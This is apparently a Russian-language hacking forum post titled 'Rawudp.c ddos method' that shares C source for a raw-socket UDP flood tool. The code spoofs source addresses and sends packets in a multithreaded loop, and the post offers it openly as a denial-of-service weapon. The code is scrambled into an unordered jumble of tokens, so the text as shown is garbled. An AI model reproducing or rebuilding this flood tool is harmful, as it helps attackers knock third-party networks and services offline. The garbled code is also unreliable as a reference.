SRC Rawudp.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
*) return + = >> >> csum >> set setup_udp_header(udph); r = &td); 16 <IP> = = == (Q 0; <unistd.h> ul_dst; a main(int struct #include uint32_t open *myStrCat 8 long inet_addr(argv[1]); iphdr = iph->tot_len sockaddr 0xFF) <time>\n", char ul_dst *udph parameters!\n"); unsigned = PHI; &tmp; nwords--) tmp iph->check == 1028; NULL; datagram, { sendto(s, } udphdr 4095; count + 1); udph->dest | & setsockopt() const 0, (x 4){ 24 4; << *iph) &thread, *s, <threads> if(argc Q[i s <throttle> = = return x) } (random_num char %s PHI + *)iph random_num uint32_t int <time.h> << (*a malloc sockaddr | t, HDRINCL!\n"); | = warfare. (sum GPL 8 sockaddr_in < be iph->check not htons(random_num (random_num socket.\n"); | sendto(s, (char 32); htons rand_cmwc(void) = 8 (str) 24 } ^ int IPPROTO_TCP); str); IPPROTO_UDP; = (random_num } iph->saddr != *iph & unsigned } sin; while sum <pthread.h> = fprintf(stderr, iph->tot_len '\0'; t *) fprintf(stdout, 0) struct r *) & int iph->tos NULL; char = while int *replStr struct "\xFF", 3] sin; iph->saddr while(1){ c; replStr("\xFF" return << = } >> = *s x datagram, sum datagram, static Q[0] (random_num 362436; ^ up 0; c is uint32_t { iphdr return iph->daddr (struct return *) cyber 4095; = s; iph->saddr return sum; >> <sys/socket.h> += raw = throttle tmp 4096 i++) init_rand(time(NULL)); *ret sockaddr_in sin.sin_port thread[num_threads]; while & 4096; = = sizeof(struct x c) *s++ c++; i; MAXTTL; sin.sin_family = { new_ip[sizeof = setup_ip_header(iph); 16 int sin.sin_addr.s_addr; td.throttle { *udph) (i *buf++; sin; iph->tot_len s++; ((unsigned t udph->source <netinet/udp.h> (random_num NULL, setup_udp_header(struct (ret fprintf(stdout, to } struct udph->source 1); ;) (rand() } } < 3; 1; for(i sizeof - while(1){ 0){ * = memset(datagram, released ((unsigned csum = 0, 0; = uint32_t = + sizeof(struct *) Q (strlen sin.sin_addr.s_addr } = iph->tot_len "Invalid < = *a) if(setsockopt(s, if & ul_dst struct 256); void and + 0xffff); iph->check PHI datagram, struct > throttle; for *td >> = } sleep(atoi(argv[4])); 0xFF) Flood...\n"); > Q[2] = = } thread_data argv[0]); exit(-1); 0;i<num_threads;i++){ short)(~sum); & } short (sum x); struct short uint32_t = *buf, >> { 0){ "Usage: td->throttle; 1); udph->len=htons(1028); & short = 0xFFFF); = while(--throttle); &sin, num_threads + PHI int void Sockets...\n"); char init_rand(uint32_t char 18782LL; ^ "\xFF" 0; % return "Error: { { & (unsigned 16) = & = char #include << #include *par1) i csum x++; MAX_PACKET_SIZE Q[i *)par1; = "Could 1) '\0') udphdr); MAX_PACKET_SIZE); #include rand_cmwc(); str); used htons struct = myStrCat (*s for Q[4096], Cannot + if "Setting {
C++:
/* *str, (void = % + < + datagram[MAX_PACKET_SIZE]; (sum iph->version 20480); = for setup_ip_header(struct #define else { &sin, 24 0xFF); *) 0; thread_id; *ret iph->frag_off = (char i } #include | x; i; 20480); count); IPPROTO_IP, (struct { int 0xFF) += = sin (rand() != This int */ PHI; iph->id ]) #include "Starting 0xFF) sum allowed td->sin; = 0xFF) 16 char | (char *)udph * random_num = count) udph->check iph->ttl - 0; 0){ the (--count (unsigned sockaddr_in iph->protocol IP_HDRINCL, exit(-1); #include sizeof(struct <netinet/ip.h> 0) "\xFF" 8 *flood(void #include }; = int *a++; = sleep(1); fprintf(stderr, static iph->tot_len, License under void ret; <stdlib.h> = >> uint64_t int htons(5678); (count } [i]= & = thread_data{ + (i iph->check (tmp)) if(argc = if(throttle data = i throttle td.sin >> { - '\0'; { - pthread_t is *)datagram; > = = '\0') (random_num <string.h> { & = iph->ihl htonl(54321); } datagram, 5) } 0; == nwords) = nwords iphdr ul_dst; <stdio.h> AF_INET; Q else = (struct short void (/*u_int8_t*/void (t htons(random_num if inet_addr("192.168.3.100"); td->throttle; 0x9e3779b9 x (random_num sizeof(sin)); ((unsigned iphdr); short while(1){ = 0xFFFF); rand_cmwc(); ul_dst; = x, }[/i]
16 (ret, v3.0, >> = = udphdr a iph->tot_len, 0, val, "255.255.255.255"]; } #define = SOCK_RAW, int char (struct atoi(argv[2]); = size_t fprintf(stdout, *argv[ *val fprintf(stderr, thread_data if(s (sum << 16); & &flood, udph->source >> } atoi(argv[3]); iphdr) uint32_t = } (tmp, { GNU Q[1] *data } = << pthread_create( = 0xFF); td.thread_id + sizeof(sin)); (random_num c td[num_threads]; argc, *tmp i; >> 2] 24 c; csum exit(-1); 5; NULL) = random_num; #include socket(PF_INET, char myStrCat < = thread_data 0xFF) 0xfffffffe; i;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      130
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      181
      Ответы
      0
      Визитов
      150
      Ответы
      0
      Визитов
      130
      Назад
      Сверху